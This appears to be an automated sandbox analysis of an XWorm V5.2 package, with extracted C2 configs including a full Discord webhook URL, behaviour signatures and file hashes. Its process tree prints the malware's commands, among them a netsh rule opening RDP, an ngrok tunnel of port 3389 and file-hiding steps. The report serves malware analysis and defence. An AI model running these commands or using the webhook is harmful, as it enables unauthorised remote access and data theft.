Analysis

  • max time kernel
    1200s
  • max time network
    1184s
  • platform
    windows10-ltsc 2021_x64
  • resource
    win10ltsc2021-20241211-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20241211-enlocale:en-usos:windows10-ltsc 2021-x64system
  • submitted
    19-12-2024 23:31

General

Malware Config

Extracted

Family

skuld

C2

https://discord.com/api/webhooks/1314414095461777419/8hYVVlssdJOsLuwWhq5QQqRTlg-3pzMhiKB5tYVl8wS1FN6rDNu-iZ34u_-J5bahL4e7

Extracted

Family

xworm

Version

5.0

C2

127.0.0.1:7000

Mutex

UMQZb5rpS8DkO7oc

Attributes
  • install_file

    USB.exe

aes.plain

Extracted

Family

xworm

C2

127.0.0.1:7000

Attributes
  • install_file

    USB.exe

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Detect Xworm Payload 4 IoCs
  • Skuld family
  • Skuld stealer

    An info stealer written in Go lang.

  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Disables Task Manager via registry modification
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Server Software Component: Terminal Services DLL 1 TTPs 1 IoCs
  • Allows Network login with blank passwords 1 TTPs 1 IoCs

    Allows local user accounts with blank passwords to access device from the network.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 7 IoCs
  • Loads dropped DLL 3 IoCs
  • Obfuscated with Agile.Net obfuscator 3 IoCs

    Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

  • Uses the VBS compiler for execution 1 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 5 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Modifies WinLogon 2 TTPs 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Enumerates system info in registry 2 TTPs 10 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 27 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 40 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 29 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of SetWindowsHookEx 34 IoCs
  • Suspicious use of WriteProcessMemory 31 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument https://gofile.io/d/lkw1cL
    1⤵
      PID:2528
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations=is-enterprise-managed=no --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=26 --field-trial-handle=4212,i,9196809988335597270,13533469875825522379,262144 --variations-seed-version --mojo-platform-channel-handle=4688 /prefetch:1
      1⤵
        PID:4524
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations=is-enterprise-managed=no --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=25 --field-trial-handle=4620,i,9196809988335597270,13533469875825522379,262144 --variations-seed-version --mojo-platform-channel-handle=5380 /prefetch:1
        1⤵
          PID:3592
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --string-annotations=is-enterprise-managed=no --field-trial-handle=5600,i,9196809988335597270,13533469875825522379,262144 --variations-seed-version --mojo-platform-channel-handle=5616 /prefetch:8
          1⤵
            PID:4552
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --string-annotations=is-enterprise-managed=no --field-trial-handle=5608,i,9196809988335597270,13533469875825522379,262144 --variations-seed-version --mojo-platform-channel-handle=5780 /prefetch:8
            1⤵
              PID:2976
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations=is-enterprise-managed=no --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=29 --field-trial-handle=6052,i,9196809988335597270,13533469875825522379,262144 --variations-seed-version --mojo-platform-channel-handle=6048 /prefetch:1
              1⤵
                PID:3148
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations=is-enterprise-managed=no --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=30 --field-trial-handle=5420,i,9196809988335597270,13533469875825522379,262144 --variations-seed-version --mojo-platform-channel-handle=5528 /prefetch:1
                1⤵
                  PID:4540
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --string-annotations=is-enterprise-managed=no --field-trial-handle=6128,i,9196809988335597270,13533469875825522379,262144 --variations-seed-version --mojo-platform-channel-handle=6428 /prefetch:8
                  1⤵
                    PID:1792
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations=is-enterprise-managed=no --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=32 --field-trial-handle=6004,i,9196809988335597270,13533469875825522379,262144 --variations-seed-version --mojo-platform-channel-handle=6552 /prefetch:1
                    1⤵
                      PID:2564
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --lang=en-US --service-sandbox-type=service --string-annotations=is-enterprise-managed=no --field-trial-handle=6112,i,9196809988335597270,13533469875825522379,262144 --variations-seed-version --mojo-platform-channel-handle=6884 /prefetch:8
                      1⤵
                        PID:4592
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --string-annotations=is-enterprise-managed=no --field-trial-handle=7012,i,9196809988335597270,13533469875825522379,262144 --variations-seed-version --mojo-platform-channel-handle=6952 /prefetch:8
                        1⤵
                          PID:4548
                        • C:\Windows\system32\OpenWith.exe
                          C:\Windows\system32\OpenWith.exe -Embedding
                          1⤵
                          • Modifies registry class
                          • Suspicious behavior: GetForegroundWindowSpam
                          • Suspicious use of SetWindowsHookEx
                          PID:2104
                        • C:\Program Files\7-Zip\7zFM.exe
                          "C:\Program Files\7-Zip\7zFM.exe"
                          1⤵
                          • Suspicious behavior: GetForegroundWindowSpam
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3712
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --string-annotations=is-enterprise-managed=no --field-trial-handle=6452,i,9196809988335597270,13533469875825522379,262144 --variations-seed-version --mojo-platform-channel-handle=6708 /prefetch:8
                          1⤵
                            PID:5368
                          • C:\Windows\System32\rundll32.exe
                            C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                            1⤵
                              PID:5744
                            • C:\Program Files\7-Zip\7zG.exe
                              "C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\" -an -ai#7zMap10501:70:7zEvent25156
                              1⤵
                              • Suspicious behavior: GetForegroundWindowSpam
                              • Suspicious use of AdjustPrivilegeToken
                              • Suspicious use of FindShellTrayWindow
                              PID:6080
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --string-annotations=is-enterprise-managed=no --field-trial-handle=6492,i,9196809988335597270,13533469875825522379,262144 --variations-seed-version --mojo-platform-channel-handle=4772 /prefetch:8
                              1⤵
                                PID:2452
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations=is-enterprise-managed=no --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=37 --field-trial-handle=5380,i,9196809988335597270,13533469875825522379,262144 --variations-seed-version --mojo-platform-channel-handle=6504 /prefetch:1
                                1⤵
                                  PID:1060
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations=is-enterprise-managed=no --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=38 --field-trial-handle=5492,i,9196809988335597270,13533469875825522379,262144 --variations-seed-version --mojo-platform-channel-handle=6664 /prefetch:1
                                  1⤵
                                    PID:5272
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --lang=en-US --service-sandbox-type=service --string-annotations=is-enterprise-managed=no --field-trial-handle=4640,i,9196809988335597270,13533469875825522379,262144 --variations-seed-version --mojo-platform-channel-handle=6612 /prefetch:8
                                    1⤵
                                      PID:5204
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --string-annotations=is-enterprise-managed=no --field-trial-handle=6608,i,9196809988335597270,13533469875825522379,262144 --variations-seed-version --mojo-platform-channel-handle=5732 /prefetch:8
                                      1⤵
                                        PID:380
                                      • C:\Program Files\7-Zip\7zG.exe
                                        "C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\" -an -ai#7zMap12959:80:7zEvent16378
                                        1⤵
                                        • Suspicious behavior: GetForegroundWindowSpam
                                        • Suspicious use of AdjustPrivilegeToken
                                        • Suspicious use of FindShellTrayWindow
                                        PID:5752
                                      • C:\Program Files\7-Zip\7zG.exe
                                        "C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\" -an -ai#7zMap6339:80:7zEvent5378
                                        1⤵
                                        • Suspicious behavior: GetForegroundWindowSpam
                                        • Suspicious use of AdjustPrivilegeToken
                                        • Suspicious use of FindShellTrayWindow
                                        PID:5532
                                      • C:\Program Files\7-Zip\7zG.exe
                                        "C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\" -an -ai#7zMap1145:80:7zEvent5607
                                        1⤵
                                        • Suspicious use of AdjustPrivilegeToken
                                        • Suspicious use of FindShellTrayWindow
                                        PID:5868
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\XWorm V5.2\start.bat" "
                                        1⤵
                                        • Suspicious use of WriteProcessMemory
                                        PID:5192
                                        • C:\Users\Admin\Downloads\XWorm V5.2\start.exe
                                          start.exe
                                          2⤵
                                          • Executes dropped EXE
                                          • Adds Run key to start application
                                          • Suspicious use of AdjustPrivilegeToken
                                          • Suspicious use of WriteProcessMemory
                                          PID:6032
                                          • C:\Windows\system32\attrib.exe
                                            attrib +h +s "C:\Users\Admin\Downloads\XWorm V5.2\start.exe"
                                            3⤵
                                            • Views/modifies file attributes
                                            PID:1532
                                        • C:\Windows\system32\cmd.exe
                                          cmd.exe
                                          2⤵
                                            PID:5912
                                        • C:\Users\Admin\Downloads\XWorm V5.2\XWorm V5.2.exe
                                          "C:\Users\Admin\Downloads\XWorm V5.2\XWorm V5.2.exe"
                                          1⤵
                                          • Executes dropped EXE
                                          • Loads dropped DLL
                                          • Enumerates system info in registry
                                          • Suspicious use of AdjustPrivilegeToken
                                          • Suspicious use of WriteProcessMemory
                                          PID:1376
                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://t.me/XCoderTools
                                            2⤵
                                              PID:1928
                                          • C:\Users\Admin\Downloads\XWorm V5.2\XWormLoader 5.2 x64.exe
                                            "C:\Users\Admin\Downloads\XWorm V5.2\XWormLoader 5.2 x64.exe"
                                            1⤵
                                            • Executes dropped EXE
                                            • Loads dropped DLL
                                            • Enumerates system info in registry
                                            • Modifies Internet Explorer settings
                                            • Modifies registry class
                                            • Suspicious behavior: EnumeratesProcesses
                                            • Suspicious behavior: GetForegroundWindowSpam
                                            • Suspicious use of AdjustPrivilegeToken
                                            • Suspicious use of FindShellTrayWindow
                                            • Suspicious use of SendNotifyMessage
                                            • Suspicious use of SetWindowsHookEx
                                            • Suspicious use of WriteProcessMemory
                                            PID:4844
                                            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
                                              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\y4cqihhe\y4cqihhe.cmdline"
                                              2⤵
                                              • Suspicious use of WriteProcessMemory
                                              PID:1992
                                              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES19F9.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc32E8B7AAF0F84207A071A578266E4BC.TMP"
                                                3⤵
                                                  PID:5200
                                            • C:\Windows\system32\wbem\WmiApSrv.exe
                                              C:\Windows\system32\wbem\WmiApSrv.exe
                                              1⤵
                                                PID:5468
                                              • C:\Windows\system32\AUDIODG.EXE
                                                C:\Windows\system32\AUDIODG.EXE 0x460 0x458
                                                1⤵
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:4128
                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations=is-enterprise-managed=no --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=41 --field-trial-handle=6200,i,9196809988335597270,13533469875825522379,262144 --variations-seed-version --mojo-platform-channel-handle=5556 /prefetch:1
                                                1⤵
                                                  PID:5932
                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations=is-enterprise-managed=no --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=42 --field-trial-handle=6728,i,9196809988335597270,13533469875825522379,262144 --variations-seed-version --mojo-platform-channel-handle=7028 /prefetch:1
                                                  1⤵
                                                    PID:1944
                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations=is-enterprise-managed=no --instant-process --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=43 --field-trial-handle=6468,i,9196809988335597270,13533469875825522379,262144 --variations-seed-version --mojo-platform-channel-handle=6164 /prefetch:1
                                                    1⤵
                                                      PID:4280
                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --string-annotations=is-enterprise-managed=no --field-trial-handle=6620,i,9196809988335597270,13533469875825522379,262144 --variations-seed-version --mojo-platform-channel-handle=5520 /prefetch:8
                                                      1⤵
                                                        PID:3152
                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations=is-enterprise-managed=no --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=45 --field-trial-handle=6580,i,9196809988335597270,13533469875825522379,262144 --variations-seed-version --mojo-platform-channel-handle=6652 /prefetch:1
                                                        1⤵
                                                          PID:1844
                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations=is-enterprise-managed=no --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=46 --field-trial-handle=5816,i,9196809988335597270,13533469875825522379,262144 --variations-seed-version --mojo-platform-channel-handle=5548 /prefetch:1
                                                          1⤵
                                                            PID:4092
                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations=is-enterprise-managed=no --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=47 --field-trial-handle=7396,i,9196809988335597270,13533469875825522379,262144 --variations-seed-version --mojo-platform-channel-handle=7356 /prefetch:1
                                                            1⤵
                                                              PID:5960
                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations=is-enterprise-managed=no --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=48 --field-trial-handle=7220,i,9196809988335597270,13533469875825522379,262144 --variations-seed-version --mojo-platform-channel-handle=7548 /prefetch:1
                                                              1⤵
                                                                PID:2964
                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations=is-enterprise-managed=no --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=49 --field-trial-handle=7228,i,9196809988335597270,13533469875825522379,262144 --variations-seed-version --mojo-platform-channel-handle=7212 /prefetch:1
                                                                1⤵
                                                                  PID:6016
                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations=is-enterprise-managed=no --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=50 --field-trial-handle=7580,i,9196809988335597270,13533469875825522379,262144 --variations-seed-version --mojo-platform-channel-handle=7192 /prefetch:1
                                                                  1⤵
                                                                    PID:5624
                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations=is-enterprise-managed=no --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=51 --field-trial-handle=8012,i,9196809988335597270,13533469875825522379,262144 --variations-seed-version --mojo-platform-channel-handle=7992 /prefetch:1
                                                                    1⤵
                                                                      PID:1044
                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations=is-enterprise-managed=no --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=52 --field-trial-handle=7824,i,9196809988335597270,13533469875825522379,262144 --variations-seed-version --mojo-platform-channel-handle=8204 /prefetch:1
                                                                      1⤵
                                                                        PID:5408
                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations=is-enterprise-managed=no --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=53 --field-trial-handle=7808,i,9196809988335597270,13533469875825522379,262144 --variations-seed-version --mojo-platform-channel-handle=7744 /prefetch:1
                                                                        1⤵
                                                                          PID:5920
                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --string-annotations=is-enterprise-managed=no --field-trial-handle=8288,i,9196809988335597270,13533469875825522379,262144 --variations-seed-version --mojo-platform-channel-handle=6636 /prefetch:8
                                                                          1⤵
                                                                            PID:4284
                                                                          • C:\Users\Admin\Downloads\XWorm V5.2\XClient.exe
                                                                            "C:\Users\Admin\Downloads\XWorm V5.2\XClient.exe"
                                                                            1⤵
                                                                            • Allows Network login with blank passwords
                                                                            • Checks computer location settings
                                                                            • Executes dropped EXE
                                                                            • Drops file in Program Files directory
                                                                            • Checks processor information in registry
                                                                            • Enumerates system info in registry
                                                                            • Suspicious behavior: AddClipboardFormatListener
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            • Suspicious use of FindShellTrayWindow
                                                                            • Suspicious use of SetWindowsHookEx
                                                                            • Suspicious use of WriteProcessMemory
                                                                            PID:1200
                                                                            • C:\Windows\System32\taskkill.exe
                                                                              "C:\Windows\System32\taskkill.exe" /im ngrok.exe /f
                                                                              2⤵
                                                                              • Kills process with taskkill
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              PID:1400
                                                                            • C:\Users\Admin\AppData\Local\Temp\ngrok.exe
                                                                              C:\Users\Admin\AppData\Local\Temp\ngrok.exe config add-authtoken Your_Authtoken
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              • System Location Discovery: System Language Discovery
                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                              PID:5644
                                                                            • C:\Users\Admin\AppData\Local\Temp\RDPWInst.exe
                                                                              "C:\Users\Admin\AppData\Local\Temp\RDPWInst.exe" -i
                                                                              2⤵
                                                                              • Server Software Component: Terminal Services DLL
                                                                              • Executes dropped EXE
                                                                              • Modifies WinLogon
                                                                              • Drops file in System32 directory
                                                                              • Drops file in Program Files directory
                                                                              • System Location Discovery: System Language Discovery
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              • Suspicious use of WriteProcessMemory
                                                                              PID:4048
                                                                              • C:\Windows\SYSTEM32\netsh.exe
                                                                                netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
                                                                                3⤵
                                                                                • Modifies Windows Firewall
                                                                                • Event Triggered Execution: Netsh Helper DLL
                                                                                PID:2876
                                                                            • C:\Users\Admin\AppData\Local\Temp\ngrok.exe
                                                                              "C:\Users\Admin\AppData\Local\Temp\ngrok.exe" tcp 3389
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              • System Location Discovery: System Language Discovery
                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                              PID:4832
                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://api.ipify.org/
                                                                              2⤵
                                                                                PID:4384
                                                                              • C:\Windows\system32\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpD723.tmp.bat""
                                                                                2⤵
                                                                                • Suspicious use of WriteProcessMemory
                                                                                PID:3848
                                                                                • C:\Windows\system32\timeout.exe
                                                                                  timeout 3
                                                                                  3⤵
                                                                                  • Delays execution with timeout.exe
                                                                                  PID:4740
                                                                            • C:\Windows\System32\svchost.exe
                                                                              C:\Windows\System32\svchost.exe -k NetworkService -s TermService
                                                                              1⤵
                                                                                PID:376
                                                                              • C:\Windows\System32\svchost.exe
                                                                                C:\Windows\System32\svchost.exe -k NetworkService -s TermService
                                                                                1⤵
                                                                                • Loads dropped DLL
                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                PID:4608
                                                                              • C:\Windows\system32\AUDIODG.EXE
                                                                                C:\Windows\system32\AUDIODG.EXE 0x460 0x458
                                                                                1⤵
                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                PID:1044
                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations=is-enterprise-managed=no --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=55 --field-trial-handle=6520,i,9196809988335597270,13533469875825522379,262144 --variations-seed-version --mojo-platform-channel-handle=4568 /prefetch:1
                                                                                1⤵
                                                                                  PID:5428
                                                                                • C:\Windows\system32\taskmgr.exe
                                                                                  "C:\Windows\system32\taskmgr.exe" /7
                                                                                  1⤵
                                                                                    PID:1072

                                                                                  Network

                                                                                  MITRE ATT&CK Enterprise v15

                                                                                  Replay Monitor

                                                                                  Loading Replay Monitor...

                                                                                  Downloads

                                                                                  • C:\Users\Admin\AppData\Local\Temp\RDPWInst.exe

                                                                                    Filesize

                                                                                    1.4MB

                                                                                    MD5

                                                                                    3288c284561055044c489567fd630ac2

                                                                                    SHA1

                                                                                    11ffeabbe42159e1365aa82463d8690c845ce7b7

                                                                                    SHA256

                                                                                    ac92d4c6397eb4451095949ac485ef4ec38501d7bb6f475419529ae67e297753

                                                                                    SHA512

                                                                                    c25b28a340a23a9fa932aa95075f85fdd61880f29ef96f5179097b652f69434e0f1f8825e2648b2a0de1f4b0f9b8373080a22117974fcdf44112906d330fca02

                                                                                  • C:\Users\Admin\AppData\Local\Temp\RES19F9.tmp

                                                                                    Filesize

                                                                                    1KB

                                                                                    MD5

                                                                                    5cb9bf3b7bd6676f91c7e8de75b67970

                                                                                    SHA1

                                                                                    14c8335d667203ee5b0758e815e5f486b4e59ad6

                                                                                    SHA256

                                                                                    0a607f0694658f8e9fd6da43b6ad03cf30479c0a6153180cb1aefb8c1567f4f3

                                                                                    SHA512

                                                                                    d63aa4fa6e8ec906445289609bba1288e2fb470f1ca95564ab07d26bf7cc6effa0f479d172cbe1e05ae6485349566cf4f642d0946dce79070bc8b31cbec84c9c

                                                                                  • C:\Users\Admin\AppData\Local\Temp\TMzpx\TMzpx.dll

                                                                                    Filesize

                                                                                    112KB

                                                                                    MD5

                                                                                    2f1a50031dcf5c87d92e8b2491fdcea6

                                                                                    SHA1

